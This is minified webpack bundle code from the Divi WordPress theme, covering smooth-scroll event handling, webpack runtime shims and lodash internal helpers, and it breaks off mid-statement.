1 : elapsed / options.animationTime; // easing [optional] if (options.pulseAlgorithm) { position = pulse(position); } // only need the difference var x = item.x * position - item.lastX >> 0; var y = item.y * position - item.lastY >> 0; // add this to the total scrolling scrollX += x; scrollY += y; // update last values item.lastX += x; item.lastY += y; // delete and step back if it's over if (finished) { que.splice(i, 1); i--; } } // scroll left and top if (scrollWindow) { window.scrollBy(scrollX, scrollY); } else { if (scrollX) elem.scrollLeft += scrollX; if (scrollY) elem.scrollTop += scrollY; } // clean up if there's nothing left to do if (!left && !top) { que = []; } if (que.length) { requestFrame(step, elem, delay / options.frameRate + 1); } else { pending = false; } }; // start a new queue of actions requestFrame(step, elem, 0); pending = true; } /*********************************************** * EVENTS ***********************************************/ /** * Mouse wheel handler. * @param {Object} event */ function wheel(event) { if (!initDone) { init(); } var target = event.target; var overflowing = overflowingAncestor(target); var isVBTopWindowScroll = document.documentElement.className.split(' ').filter(function (className) { return className === 'et-fb-preview--tablet' || className === 'et-fb-preview--phone' || className === 'et-fb-preview--zoom'; }).length > 0; // use default if there's no overflowing // element or default action is prevented if (!overflowing || event.defaultPrevented || isNodeName(activeElement, "embed") || isNodeName(target, "embed") && /\.pdf/i.test(target.src) || isVBTopWindowScroll) { return true; } var deltaX = event.wheelDeltaX || 0; var deltaY = event.wheelDeltaY || 0; // use wheelDelta if deltaX/Y is not available if (!deltaX && !deltaY) { deltaY = event.wheelDelta || 0; } // check if it's a touchpad scroll that should be ignored if (!options.touchpadSupport && isTouchpad(deltaY)) { return true; } // scale by step size // delta is 120 most of the time // synaptics seems to send 1 sometimes if (Math.abs(deltaX) > 1.2) { deltaX *= options.stepSize / 120; } if (Math.abs(deltaY) > 1.2) { deltaY *= options.stepSize / 120; } scrollArray(overflowing, -deltaX, -deltaY); event.preventDefault(); } /** * Keydown event handler. * @param {Object} event */ function keydown(event) { var target = event.target; var modifier = event.ctrlKey || event.altKey || event.metaKey || event.shiftKey && event.keyCode !== key.spacebar; // do nothing if user is editing text // or using a modifier key (except shift) // or in a dropdown if (/input|textarea|select|embed/i.test(target.nodeName) || target.isContentEditable || event.defaultPrevented || modifier) { return true; } // spacebar should trigger button press if (isNodeName(target, "button") && event.keyCode === key.spacebar) { return true; } var shift, x = 0, y = 0; var elem = overflowingAncestor(activeElement); var clientHeight = elem.clientHeight; if (elem == document.body) { clientHeight = window.innerHeight; } switch (event.keyCode) { case key.up: y = -options.arrowScroll; break; case key.down: y = options.arrowScroll; break; case key.spacebar: // (+ shift) shift = event.shiftKey ? 1 : -1; y = -shift * clientHeight * 0.9; break; case key.pageup: y = -clientHeight * 0.9; break; case key.pagedown: y = clientHeight * 0.9; break; case key.home: y = -window.pageYOffset; break; case key.end: var damt = elem.scrollHeight - elem.scrollTop - clientHeight; y = damt > 0 ? damt + 10 : 0; break; case key.left: x = -options.arrowScroll; break; case key.right: x = options.arrowScroll; break; default: return true; // a key we don't care about } scrollArray(elem, x, y); event.preventDefault(); } /** * Mousedown event only for updating activeElement */ function mousedown(event) { activeElement = event.target; } /*********************************************** * OVERFLOW ***********************************************/ var cache = {}; // cleared out every once in while setInterval(function () { cache = {}; }, 10 * 1000); var uniqueID = function () { var i = 0; return function (el) { return el.uniqueID || (el.uniqueID = i++); }; }(); function setCache(elems, overflowing) { for (var i = elems.length; i--;) { cache[uniqueID(elems[i])] = overflowing; } return overflowing; } function overflowingAncestor(el) { var elems = []; var rootScrollHeight = root.scrollHeight; do { var cached = cache[uniqueID(el)]; if (cached) { return setCache(elems, cached); } elems.push(el); if (rootScrollHeight === el.scrollHeight) { if (!isFrame || root.clientHeight + 10 < rootScrollHeight) { return setCache(elems, document.body); // scrolling root in WebKit } } else if (el.clientHeight + 10 < el.scrollHeight) { var overflow = getComputedStyle(el, "").getPropertyValue("overflow-y"); if (overflow === "scroll" || overflow === "auto") { return setCache(elems, el); } } } while (el = el.parentNode); } /*********************************************** * HELPERS ***********************************************/ function addEvent(type, fn, bubble) { window.addEventListener(type, fn, bubble || false); } function removeEvent(type, fn, bubble) { window.removeEventListener(type, fn, bubble || false); } function isNodeName(el, tag) { return (el.nodeName || "").toLowerCase() === tag.toLowerCase(); } function directionCheck(x, y) { x = x > 0 ? 1 : -1; y = y > 0 ? 1 : -1; if (direction.x !== x || direction.y !== y) { direction.x = x; direction.y = y; que = []; lastScroll = 0; } } var deltaBufferTimer; function isTouchpad(deltaY) { if (!deltaY) return; deltaY = Math.abs(deltaY); deltaBuffer.push(deltaY); deltaBuffer.shift(); clearTimeout(deltaBufferTimer); var allDivisable = isDivisible(deltaBuffer[0], 120) && isDivisible(deltaBuffer[1], 120) && isDivisible(deltaBuffer[2], 120); return !allDivisable; } function isDivisible(n, divisor) { return Math.floor(n / divisor) == n / divisor; } var requestFrame = function () { return window.requestAnimationFrame || window.webkitRequestAnimationFrame || function (callback, element, delay) { window.setTimeout(callback, delay || 1000 / 60); }; }(); /*********************************************** * PULSE ***********************************************/ /** * Viscous fluid with a pulse for part and decay for the rest. * - Applies a fixed force over an interval (a damped acceleration), and * - Lets the exponential bleed away the velocity over a longer interval * - Michael Herf, http://stereopsis.com/stopping/ */ function pulse_(x) { var val, start, expx; // test x = x * options.pulseScale; if (x < 1) { // acceleartion val = x - (1 - Math.exp(-x)); } else { // tail // the previous animation ended here: start = Math.exp(-1); // simple viscous drag x -= 1; expx = 1 - Math.exp(-x); val = start + expx * (1 - start); } return val * options.pulseNormalize; } function pulse(x) { if (x >= 1) return 1; if (x <= 0) return 0; if (options.pulseNormalize == 1) { options.pulseNormalize /= pulse_(1); } return pulse_(x); } var isChrome = /chrome/i.test(window.navigator.userAgent); var wheelEvent = null; if ("onwheel" in document.createElement("div")) wheelEvent = "wheel";else if ("onmousewheel" in document.createElement("div")) wheelEvent = "mousewheel"; var isSmoothScrollActive = document.body.className.split(' ').filter(function (className) { return className === 'et_smooth_scroll'; }).length > 0; if (wheelEvent && isChrome && isSmoothScrollActive) { window.addEventListener(wheelEvent, wheel, { passive: false }); addEvent("mousedown", mousedown); addEvent("load", init); } /*********************************************** * Interface for Divi Visual Builder ***********************************************/ window.ET_SmoothScroll = { toggleKeydown: function toggleKeydown(enable) { if (enable) { addEvent("keydown", keydown); } else { removeEvent("keydown", keydown); } } }; })(); /***/ }), /***/ "./node_modules/webpack/buildin/global.js": /*!***********************************!*\ !*** (webpack)/buildin/global.js ***! \***********************************/ /*! no static exports found */ /***/ (function(module, exports) { var g; // This works in non-strict mode g = (function() { return this; })(); try { // This works if eval is allowed (see CSP) g = g || new Function("return this")(); } catch (e) { // This works if the window reference is available if (typeof window === "object") g = window; } // g can still be undefined, but nothing to do about it... // We return undefined, instead of nothing here, so it's // easier to handle this case. if(!global) { ...} module.exports = g; /***/ }), /***/ "./node_modules/webpack/buildin/module.js": /*!***********************************!*\ !*** (webpack)/buildin/module.js ***! \***********************************/ /*! no static exports found */ /***/ (function(module, exports) { module.exports = function(module) { if (!module.webpackPolyfill) { module.deprecate = function() {}; module.paths = []; // module.parent = undefined by default if (!module.children) module.children = []; Object.defineProperty(module, "loaded", { enumerable: true, get: function() { return module.l; } }); Object.defineProperty(module, "id", { enumerable: true, get: function() { return module.i; } }); module.webpackPolyfill = 1; } return module; }; /***/ }), /***/ "jquery": /*!*************************!*\ !*** external "jQuery" ***! \*************************/ /*! no static exports found */ /***/ (function(module, exports) { module.exports = jQuery; /***/ }) /******/ }); //# sourceMappingURL=custom.unified.js.map custom.js 0000644 00000567242 15222641013 0006430 0 ustar 00 /******/ (function(modules) { // webpackBootstrap /******/ // The module cache /******/ var installedModules = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ /******/ // Check if module is in cache /******/ if(installedModules[moduleId]) { /******/ return installedModules[moduleId].exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = installedModules[moduleId] = { /******/ i: moduleId, /******/ l: false, /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__); /******/ /******/ // Flag the module as loaded /******/ module.l = true; /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /******/ /******/ // expose the modules object (__webpack_modules__) /******/ __webpack_require__.m = modules; /******/ /******/ // expose the module cache /******/ __webpack_require__.c = installedModules; /******/ /******/ // define getter function for harmony exports /******/ __webpack_require__.d = function(exports, name, getter) { /******/ if(!__webpack_require__.o(exports, name)) { /******/ Object.defineProperty(exports, name, { enumerable: true, get: getter }); /******/ } /******/ }; /******/ /******/ // define __esModule on exports /******/ __webpack_require__.r = function(exports) { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ /******/ // create a fake namespace object /******/ // mode & 1: value is a module id, require it /******/ // mode & 2: merge all properties of value into the ns /******/ // mode & 4: return value when already ns object /******/ // mode & 8|1: behave like require /******/ __webpack_require__.t = function(value, mode) { /******/ if(mode & 1) value = __webpack_require__(value); /******/ if(mode & 8) return value; /******/ if((mode & 4) && typeof value === 'object' && value && value.__esModule) return value; /******/ var ns = Object.create(null); /******/ __webpack_require__.r(ns); /******/ Object.defineProperty(ns, 'default', { enumerable: true, value: value }); /******/ if(mode & 2 && typeof value != 'string') for(var key in value) __webpack_require__.d(ns, key, function(key) { return value[key]; }.bind(null, key)); /******/ return ns; /******/ }; /******/ /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = function(module) { /******/ var getter = module && module.__esModule ? /******/ function getDefault() { return module['default']; } : /******/ function getModuleExports() { return module; }; /******/ __webpack_require__.d(getter, 'a', getter); /******/ return getter; /******/ }; /******/ /******/ // Object.prototype.hasOwnProperty.call /******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); }; /******/ /******/ // __webpack_public_path__ /******/ __webpack_require__.p = ""; /******/ /******/ /******/ // Load entry module and return exports /******/ return __webpack_require__(__webpack_require__.s = "./js/src/custom.js"); /******/ }) /************************************************************************/ /******/ ({ /***/ "./core/admin/js/frame-helpers.js": /*!****************************************!*\ !*** ./core/admin/js/frame-helpers.js ***! \****************************************/ /*! exports provided: top_window, is_iframe */ /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "top_window", function() { return top_window; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "is_iframe", function() { return is_iframe; }); /* ,-,- / / | ,-' _/ / / (-_ _,-' `Z_/ "#: ,-'_,-. \ _ #' _(_-'_()\ \" | ,--_,--' | / "" L-'\ \,--^---v--v-._ / \ | \_________________,-' | \ \ \ NOTE: The code in this file will be executed multiple times! */ var top_window = window; var is_iframe = false; var top; try { // Have to access top window's prop (document) to trigger same-origin DOMException // so we can catch it and act accordingly. top = window.top.document ? window.top : false; } catch (e) { // Can't access top, it means we're inside a different domain iframe. top = false; } if (top && top.__Cypress__) { if (window.parent === top) { top_window = window; is_iframe = false; } else { top_window = window.parent; is_iframe = true; } } else if (top) { top_window = top; is_iframe = top !== window.self; } /***/ }), /***/ "./includes/builder/node_modules/lodash/_Hash.js": /*!*******************************************************!*\ !*** ./includes/builder/node_modules/lodash/_Hash.js ***! \*******************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var hashClear = __webpack_require__(/*! ./_hashClear */ "./includes/builder/node_modules/lodash/_hashClear.js"), hashDelete = __webpack_require__(/*! ./_hashDelete */ "./includes/builder/node_modules/lodash/_hashDelete.js"), hashGet = __webpack_require__(/*! ./_hashGet */ "./includes/builder/node_modules/lodash/_hashGet.js"), hashHas = __webpack_require__(/*! ./_hashHas */ "./includes/builder/node_modules/lodash/_hashHas.js"), hashSet = __webpack_require__(/*! ./_hashSet */ "./includes/builder/node_modules/lodash/_hashSet.js"); /** * Creates a hash object. * * @private * @constructor * @param {Array} [entries] The key-value pairs to cache. */ function Hash(entries) { var index = -1, length = entries == null ? 0 : entries.length; this.clear(); while (++index < length) { var entry = entries[index]; this.set(entry[0], entry[1]); } } // Add methods to `Hash`. Hash.prototype.clear = hashClear; Hash.prototype['delete'] = hashDelete; Hash.prototype.get = hashGet; Hash.prototype.has = hashHas; Hash.prototype.set = hashSet; module.exports = Hash; /***/ }), /***/ "./includes/builder/node_modules/lodash/_ListCache.js": /*!************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_ListCache.js ***! \************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var listCacheClear = __webpack_require__(/*! ./_listCacheClear */ "./includes/builder/node_modules/lodash/_listCacheClear.js"), listCacheDelete = __webpack_require__(/*! ./_listCacheDelete */ "./includes/builder/node_modules/lodash/_listCacheDelete.js"), listCacheGet = __webpack_require__(/*! ./_listCacheGet */ "./includes/builder/node_modules/lodash/_listCacheGet.js"), listCacheHas = __webpack_require__(/*! ./_listCacheHas */ "./includes/builder/node_modules/lodash/_listCacheHas.js"), listCacheSet = __webpack_require__(/*! ./_listCacheSet */ "./includes/builder/node_modules/lodash/_listCacheSet.js"); /** * Creates an list cache object. * * @private * @constructor * @param {Array} [entries] The key-value pairs to cache. */ function ListCache(entries) { var index = -1, length = entries == null ? 0 : entries.length; this.clear(); while (++index < length) { var entry = entries[index]; this.set(entry[0], entry[1]); } } // Add methods to `ListCache`. ListCache.prototype.clear = listCacheClear; ListCache.prototype['delete'] = listCacheDelete; ListCache.prototype.get = listCacheGet; ListCache.prototype.has = listCacheHas; ListCache.prototype.set = listCacheSet; module.exports = ListCache; /***/ }), /***/ "./includes/builder/node_modules/lodash/_Map.js": /*!******************************************************!*\ !*** ./includes/builder/node_modules/lodash/_Map.js ***! \******************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var getNative = __webpack_require__(/*! ./_getNative */ "./includes/builder/node_modules/lodash/_getNative.js"), root = __webpack_require__(/*! ./_root */ "./includes/builder/node_modules/lodash/_root.js"); /* Built-in method references that are verified to be native. */ var Map = getNative(root, 'Map'); module.exports = Map; /***/ }), /***/ "./includes/builder/node_modules/lodash/_MapCache.js": /*!***********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_MapCache.js ***! \***********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var mapCacheClear = __webpack_require__(/*! ./_mapCacheClear */ "./includes/builder/node_modules/lodash/_mapCacheClear.js"), mapCacheDelete = __webpack_require__(/*! ./_mapCacheDelete */ "./includes/builder/node_modules/lodash/_mapCacheDelete.js"), mapCacheGet = __webpack_require__(/*! ./_mapCacheGet */ "./includes/builder/node_modules/lodash/_mapCacheGet.js"), mapCacheHas = __webpack_require__(/*! ./_mapCacheHas */ "./includes/builder/node_modules/lodash/_mapCacheHas.js"), mapCacheSet = __webpack_require__(/*! ./_mapCacheSet */ "./includes/builder/node_modules/lodash/_mapCacheSet.js"); /** * Creates a map cache object to store key-value pairs. * * @private * @constructor * @param {Array} [entries] The key-value pairs to cache. */ function MapCache(entries) { var index = -1, length = entries == null ? 0 : entries.length; this.clear(); while (++index < length) { var entry = entries[index]; this.set(entry[0], entry[1]); } } // Add methods to `MapCache`. MapCache.prototype.clear = mapCacheClear; MapCache.prototype['delete'] = mapCacheDelete; MapCache.prototype.get = mapCacheGet; MapCache.prototype.has = mapCacheHas; MapCache.prototype.set = mapCacheSet; module.exports = MapCache; /***/ }), /***/ "./includes/builder/node_modules/lodash/_Symbol.js": /*!*********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_Symbol.js ***! \*********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var root = __webpack_require__(/*! ./_root */ "./includes/builder/node_modules/lodash/_root.js"); /** Built-in value references. */ var Symbol = root.Symbol; module.exports = Symbol; /***/ }), /***/ "./includes/builder/node_modules/lodash/_arrayLikeKeys.js": /*!****************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_arrayLikeKeys.js ***! \****************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseTimes = __webpack_require__(/*! ./_baseTimes */ "./includes/builder/node_modules/lodash/_baseTimes.js"), isArguments = __webpack_require__(/*! ./isArguments */ "./includes/builder/node_modules/lodash/isArguments.js"), isArray = __webpack_require__(/*! ./isArray */ "./includes/builder/node_modules/lodash/isArray.js"), isBuffer = __webpack_require__(/*! ./isBuffer */ "./includes/builder/node_modules/lodash/isBuffer.js"), isIndex = __webpack_require__(/*! ./_isIndex */ "./includes/builder/node_modules/lodash/_isIndex.js"), isTypedArray = __webpack_require__(/*! ./isTypedArray */ "./includes/builder/node_modules/lodash/isTypedArray.js"); /** Used for built-in method references. */ var objectProto = Object.prototype; /** Used to check objects for own properties. */ var hasOwnProperty = objectProto.hasOwnProperty; /** * Creates an array of the enumerable property names of the array-like `value`. * * @private * @param {*} value The value to query. * @param {boolean} inherited Specify returning inherited property names. * @returns {Array} Returns the array of property names. */ function arrayLikeKeys(value, inherited) { var isArr = isArray(value), isArg = !isArr && isArguments(value), isBuff = !isArr && !isArg && isBuffer(value), isType = !isArr && !isArg && !isBuff && isTypedArray(value), skipIndexes = isArr || isArg || isBuff || isType, result = skipIndexes ? baseTimes(value.length, String) : [], length = result.length; for (var key in value) { if ((inherited || hasOwnProperty.call(value, key)) && !(skipIndexes && ( // Safari 9 has enumerable `arguments.length` in strict mode. key == 'length' || // Node.js 0.10 has enumerable non-index properties on buffers. (isBuff && (key == 'offset' || key == 'parent')) || // PhantomJS 2 has enumerable non-index properties on typed arrays. (isType && (key == 'buffer' || key == 'byteLength' || key == 'byteOffset')) || // Skip index properties. isIndex(key, length) ))) { result.push(key); } } return result; } module.exports = arrayLikeKeys; /***/ }), /***/ "./includes/builder/node_modules/lodash/_arrayMap.js": /*!***********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_arrayMap.js ***! \***********************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * A specialized version of `_.map` for arrays without support for iteratee * shorthands. * * @private * @param {Array} [array] The array to iterate over. * @param {Function} iteratee The function invoked per iteration. * @returns {Array} Returns the new mapped array. */ function arrayMap(array, iteratee) { var index = -1, length = array == null ? 0 : array.length, result = Array(length); while (++index < length) { result[index] = iteratee(array[index], index, array); } return result; } module.exports = arrayMap; /***/ }), /***/ "./includes/builder/node_modules/lodash/_assocIndexOf.js": /*!***************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_assocIndexOf.js ***! \***************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var eq = __webpack_require__(/*! ./eq */ "./includes/builder/node_modules/lodash/eq.js"); /** * Gets the index at which the `key` is found in `array` of key-value pairs. * * @private * @param {Array} array The array to inspect. * @param {*} key The key to search for. * @returns {number} Returns the index of the matched value, else `-1`. */ function assocIndexOf(array, key) { var length = array.length; while (length--) { if (eq(array[length][0], key)) { return length; } } return -1; } module.exports = assocIndexOf; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseFindIndex.js": /*!****************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseFindIndex.js ***! \****************************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * The base implementation of `_.findIndex` and `_.findLastIndex` without * support for iteratee shorthands. * * @private * @param {Array} array The array to inspect. * @param {Function} predicate The function invoked per iteration. * @param {number} fromIndex The index to search from. * @param {boolean} [fromRight] Specify iterating from right to left. * @returns {number} Returns the index of the matched value, else `-1`. */ function baseFindIndex(array, predicate, fromIndex, fromRight) { var length = array.length, index = fromIndex + (fromRight ? 1 : -1); while ((fromRight ? index-- : ++index < length)) { if (predicate(array[index], index, array)) { return index; } } return -1; } module.exports = baseFindIndex; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseGet.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseGet.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var castPath = __webpack_require__(/*! ./_castPath */ "./includes/builder/node_modules/lodash/_castPath.js"), toKey = __webpack_require__(/*! ./_toKey */ "./includes/builder/node_modules/lodash/_toKey.js"); /** * The base implementation of `_.get` without support for default values. * * @private * @param {Object} object The object to query. * @param {Array|string} path The path of the property to get. * @returns {*} Returns the resolved value. */ function baseGet(object, path) { path = castPath(path, object); var index = 0, length = path.length; while (object != null && index < length) { object = object[toKey(path[index++])]; } return (index && index == length) ? object : undefined; } module.exports = baseGet; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseGetTag.js": /*!*************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseGetTag.js ***! \*************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var Symbol = __webpack_require__(/*! ./_Symbol */ "./includes/builder/node_modules/lodash/_Symbol.js"), getRawTag = __webpack_require__(/*! ./_getRawTag */ "./includes/builder/node_modules/lodash/_getRawTag.js"), objectToString = __webpack_require__(/*! ./_objectToString */ "./includes/builder/node_modules/lodash/_objectToString.js"); /** `Object#toString` result references. */ var nullTag = '[object Null]', undefinedTag = '[object Undefined]'; /** Built-in value references. */ var symToStringTag = Symbol ? Symbol.toStringTag : undefined; /** * The base implementation of `getTag` without fallbacks for buggy environments. * * @private * @param {*} value The value to query. * @returns {string} Returns the `toStringTag`. */ function baseGetTag(value) { if (value == null) { return value === undefined ? undefinedTag : nullTag; } return (symToStringTag && symToStringTag in Object(value)) ? getRawTag(value) : objectToString(value); } module.exports = baseGetTag; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseIndexOf.js": /*!**************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseIndexOf.js ***! \**************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseFindIndex = __webpack_require__(/*! ./_baseFindIndex */ "./includes/builder/node_modules/lodash/_baseFindIndex.js"), baseIsNaN = __webpack_require__(/*! ./_baseIsNaN */ "./includes/builder/node_modules/lodash/_baseIsNaN.js"), strictIndexOf = __webpack_require__(/*! ./_strictIndexOf */ "./includes/builder/node_modules/lodash/_strictIndexOf.js"); /** * The base implementation of `_.indexOf` without `fromIndex` bounds checks. * * @private * @param {Array} array The array to inspect. * @param {*} value The value to search for. * @param {number} fromIndex The index to search from. * @returns {number} Returns the index of the matched value, else `-1`. */ function baseIndexOf(array, value, fromIndex) { return value === value ? strictIndexOf(array, value, fromIndex) : baseFindIndex(array, baseIsNaN, fromIndex); } module.exports = baseIndexOf; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseIsArguments.js": /*!******************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseIsArguments.js ***! \******************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseGetTag = __webpack_require__(/*! ./_baseGetTag */ "./includes/builder/node_modules/lodash/_baseGetTag.js"), isObjectLike = __webpack_require__(/*! ./isObjectLike */ "./includes/builder/node_modules/lodash/isObjectLike.js"); /** `Object#toString` result references. */ var argsTag = '[object Arguments]'; /** * The base implementation of `_.isArguments`. * * @private * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is an `arguments` object, */ function baseIsArguments(value) { return isObjectLike(value) && baseGetTag(value) == argsTag; } module.exports = baseIsArguments; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseIsNaN.js": /*!************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseIsNaN.js ***! \************************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * The base implementation of `_.isNaN` without support for number objects. * * @private * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is `NaN`, else `false`. */ function baseIsNaN(value) { return value !== value; } module.exports = baseIsNaN; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseIsNative.js": /*!***************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseIsNative.js ***! \***************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var isFunction = __webpack_require__(/*! ./isFunction */ "./includes/builder/node_modules/lodash/isFunction.js"), isMasked = __webpack_require__(/*! ./_isMasked */ "./includes/builder/node_modules/lodash/_isMasked.js"), isObject = __webpack_require__(/*! ./isObject */ "./includes/builder/node_modules/lodash/isObject.js"), toSource = __webpack_require__(/*! ./_toSource */ "./includes/builder/node_modules/lodash/_toSource.js"); /** * Used to match `RegExp` * [syntax characters](http://ecma-international.org/ecma-262/7.0/#sec-patterns). */ var reRegExpChar = /[\\^$.*+?()[\]{}|]/g; /** Used to detect host constructors (Safari). */ var reIsHostCtor = /^\[object .+?Constructor\]$/; /** Used for built-in method references. */ var funcProto = Function.prototype, objectProto = Object.prototype; /** Used to resolve the decompiled source of functions. */ var funcToString = funcProto.toString; /** Used to check objects for own properties. */ var hasOwnProperty = objectProto.hasOwnProperty; /** Used to detect if a method is native. */ var reIsNative = RegExp('^' + funcToString.call(hasOwnProperty).replace(reRegExpChar, '\\$&') .replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g, '$1.*?') + '$' ); /** * The base implementation of `_.isNative` without bad shim checks. * * @private * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a native function, * else `false`. */ function baseIsNative(value) { if (!isObject(value) || isMasked(value)) { return false; } var pattern = isFunction(value) ? reIsNative : reIsHostCtor; return pattern.test(toSource(value)); } module.exports = baseIsNative; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseIsTypedArray.js": /*!*******************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseIsTypedArray.js ***! \*******************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseGetTag = __webpack_require__(/*! ./_baseGetTag */ "./includes/builder/node_modules/lodash/_baseGetTag.js"), isLength = __webpack_require__(/*! ./isLength */ "./includes/builder/node_modules/lodash/isLength.js"), isObjectLike = __webpack_require__(/*! ./isObjectLike */ "./includes/builder/node_modules/lodash/isObjectLike.js"); /** `Object#toString` result references. */ var argsTag = '[object Arguments]', arrayTag = '[object Array]', boolTag = '[object Boolean]', dateTag = '[object Date]', errorTag = '[object Error]', funcTag = '[object Function]', mapTag = '[object Map]', numberTag = '[object Number]', objectTag = '[object Object]', regexpTag = '[object RegExp]', setTag = '[object Set]', stringTag = '[object String]', weakMapTag = '[object WeakMap]'; var arrayBufferTag = '[object ArrayBuffer]', dataViewTag = '[object DataView]', float32Tag = '[object Float32Array]', float64Tag = '[object Float64Array]', int8Tag = '[object Int8Array]', int16Tag = '[object Int16Array]', int32Tag = '[object Int32Array]', uint8Tag = '[object Uint8Array]', uint8ClampedTag = '[object Uint8ClampedArray]', uint16Tag = '[object Uint16Array]', uint32Tag = '[object Uint32Array]'; /** Used to identify `toStringTag` values of typed arrays. */ var typedArrayTags = {}; typedArrayTags[float32Tag] = typedArrayTags[float64Tag] = typedArrayTags[int8Tag] = typedArrayTags[int16Tag] = typedArrayTags[int32Tag] = typedArrayTags[uint8Tag] = typedArrayTags[uint8ClampedTag] = typedArrayTags[uint16Tag] = typedArrayTags[uint32Tag] = true; typedArrayTags[argsTag] = typedArrayTags[arrayTag] = typedArrayTags[arrayBufferTag] = typedArrayTags[boolTag] = typedArrayTags[dataViewTag] = typedArrayTags[dateTag] = typedArrayTags[errorTag] = typedArrayTags[funcTag] = typedArrayTags[mapTag] = typedArrayTags[numberTag] = typedArrayTags[objectTag] = typedArrayTags[regexpTag] = typedArrayTags[setTag] = typedArrayTags[stringTag] = typedArrayTags[weakMapTag] = false; /** * The base implementation of `_.isTypedArray` without Node.js optimizations. * * @private * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a typed array, else `false`. */ function baseIsTypedArray(value) { return isObjectLike(value) && isLength(value.length) && !!typedArrayTags[baseGetTag(value)]; } module.exports = baseIsTypedArray; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseKeys.js": /*!***********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseKeys.js ***! \***********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var isPrototype = __webpack_require__(/*! ./_isPrototype */ "./includes/builder/node_modules/lodash/_isPrototype.js"), nativeKeys = __webpack_require__(/*! ./_nativeKeys */ "./includes/builder/node_modules/lodash/_nativeKeys.js"); /** Used for built-in method references. */ var objectProto = Object.prototype; /** Used to check objects for own properties. */ var hasOwnProperty = objectProto.hasOwnProperty; /** * The base implementation of `_.keys` which doesn't treat sparse arrays as dense. * * @private * @param {Object} object The object to query. * @returns {Array} Returns the array of property names. */ function baseKeys(object) { if (!isPrototype(object)) { return nativeKeys(object); } var result = []; for (var key in Object(object)) { if (hasOwnProperty.call(object, key) && key != 'constructor') { result.push(key); } } return result; } module.exports = baseKeys; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseTimes.js": /*!************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseTimes.js ***! \************************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * The base implementation of `_.times` without support for iteratee shorthands * or max array length checks. * * @private * @param {number} n The number of times to invoke `iteratee`. * @param {Function} iteratee The function invoked per iteration. * @returns {Array} Returns the array of results. */ function baseTimes(n, iteratee) { var index = -1, result = Array(n); while (++index < n) { result[index] = iteratee(index); } return result; } module.exports = baseTimes; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseToString.js": /*!***************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseToString.js ***! \***************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var Symbol = __webpack_require__(/*! ./_Symbol */ "./includes/builder/node_modules/lodash/_Symbol.js"), arrayMap = __webpack_require__(/*! ./_arrayMap */ "./includes/builder/node_modules/lodash/_arrayMap.js"), isArray = __webpack_require__(/*! ./isArray */ 